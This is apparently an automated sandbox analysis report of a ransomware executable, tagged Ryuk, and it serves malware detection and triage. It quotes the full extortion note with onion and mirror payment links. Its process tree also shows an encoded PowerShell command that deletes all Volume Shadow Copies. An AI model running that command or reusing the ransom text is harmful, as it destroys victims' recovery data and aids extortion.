Overview

overview

10

Static

static

10

93119ee70e...0b.exe

windows7_x64

10

93119ee70e...0b.exe

windows10_x64

10

Analysis

  • max time kernel
    146s
  • max time network
    188s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:34

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General

  • Target

    93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b.exe

  • Size

    166KB

  • MD5

    80a279b1cc2ed32aa2045ae327e39a31

  • SHA1

    21d03f4309ea6edf7301363d2da9cfe3b06b8824

  • SHA256

    93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b

  • SHA512

    308f4ef4fdc0d3b07fe5480dc12220eab8b4f04999a783e1b44288191a3cf1712cde8a2b33ab0f68447e6818e3baa9fc04502eb46f878255bba3a2405d370b58

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\iplr3o19-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension iplr3o19. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7020280DCAD3AAA1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7020280DCAD3AAA1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 3oXGMwswvecONHRS4T3dAiY/5jz1QX8DDdI9K40CGizIfc388v+pglB0mjKAHE10 onakSiUawZae8iNdK91SxXsazJNuXrkKOvQvjzUftNmYlh+TZPP9SipU5aNWtivG NjWh20ImPivAlTbVSTQhEzUQLu2iNuCg0XDK3aajZLGMQV3ZMhVIiscmyXNd6spU 3mufYfVxYXdKUGgAhvS1pJnIlrQg8hjSSvUfBHqdKESY1D1HoRJyZc1jyqZOPvsk Dc3MPHdEsjLXiDfEBawqVfvp8rh20XovUHXzRjg8zYvWkg+EnNBfDA2dG+tOckfo QteGF748gsKfk1IUYWgngIki2rNGqX3+zjP552fXmUgtZsu8hHhSBEOUektKuWmj /H4wf9wXq4NFLQ8Pnk4VPn6lgPSeJIsp9797awsn5IqBILfPfHEsiGTiO2FNn/ai +IvbBLWfQSuFaYAM3iIkvWOEJDSU4W4vNsUUVK9BOkR7UPC4OmOMgsYM17T+5gnS AAFSDS4uWiMHamtje1pDLWLwurYf6d0i3D/MkBXddi56bSzoifASKCQhxpPpFkAc y1VpLR9QD5qWHJ5MyRtpe64JQKUSE2v7cgFhWsVaJsX/0zIQjSpI9s9nKt5GypLM zDrVwTr3AH19mLUkkfKWf7cxEbwzGVaA7l6qE8wUsFsFHzN/7bdmY0CeHztTRnef LpFeFaZRfhlVQB+M8eD67gnlDaTz5CJoryFVpWG2WCdNV+jEDKogiy9T8r55GrYg eQCYAIWNj1Mv0OWD+SVf1AipBoRpj79880T4dNb9iCWYI140gXPjXnO2cYDhAw/0 ACLOoT9jTCEodu34EjrBZylnoynD3p182PzlbGTf6JMyUz17WlE+C0S1CU25vEEo l6o2P/e28rzE/eFu6JY2GqSQ6wcaaoASFJT+BGVSgLucoV25ATDCd4XoDf8hjLCz r9VdRhOhOqoW57eb8ji5PLvjmr1ZFwwAcwJWqqKvsy/voDOe9dILoyHVMEy1wQSZ CUj95lCeyBBkSIelxldyR44VnMuFSMSd4Y8CpQDnXX8bCe+ylT5VVA00fdZN+2hv r6Cj/U3+BJ1FBj9iupYsgDttm/tHY2HUT/uDXMxwZo28lzsSjXNyCcFY1a4X9XiC 7oh5MAguoXU= Extension name: iplr3o19 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7020280DCAD3AAA1

http://decryptor.cc/7020280DCAD3AAA1

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 10 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 38 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b.exe
    "C:\Users\Admin\AppData\Local\Temp\93119ee70e3eb3c70f69ce5ff27a61825a9a5f6e11ad7bf61cdd84118564ef0b.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1148
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1652
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1272

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1148-55-0x000007FEFB771000-0x000007FEFB773000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1148-57-0x0000000001CA0000-0x0000000001F50000-memory.dmp

      Filesize

      2.7MB

      Download

    • memory/1148-58-0x0000000001CA0000-0x0000000001F50000-memory.dmp

      Filesize

      2.7MB

      Download

    • memory/1148-56-0x000007FEF29D0000-0x000007FEF352D000-memory.dmp

      Filesize

      11.4MB

      Download

    • memory/1148-59-0x000000001B860000-0x000000001BB5F000-memory.dmp

      Filesize

      3.0MB

      Download

    • memory/1148-60-0x0000000001CA0000-0x0000000001F50000-memory.dmp

      Filesize

      2.7MB

      Download

    • memory/1576-54-0x0000000075601000-0x0000000075603000-memory.dmp

      Filesize

      8KB

      Download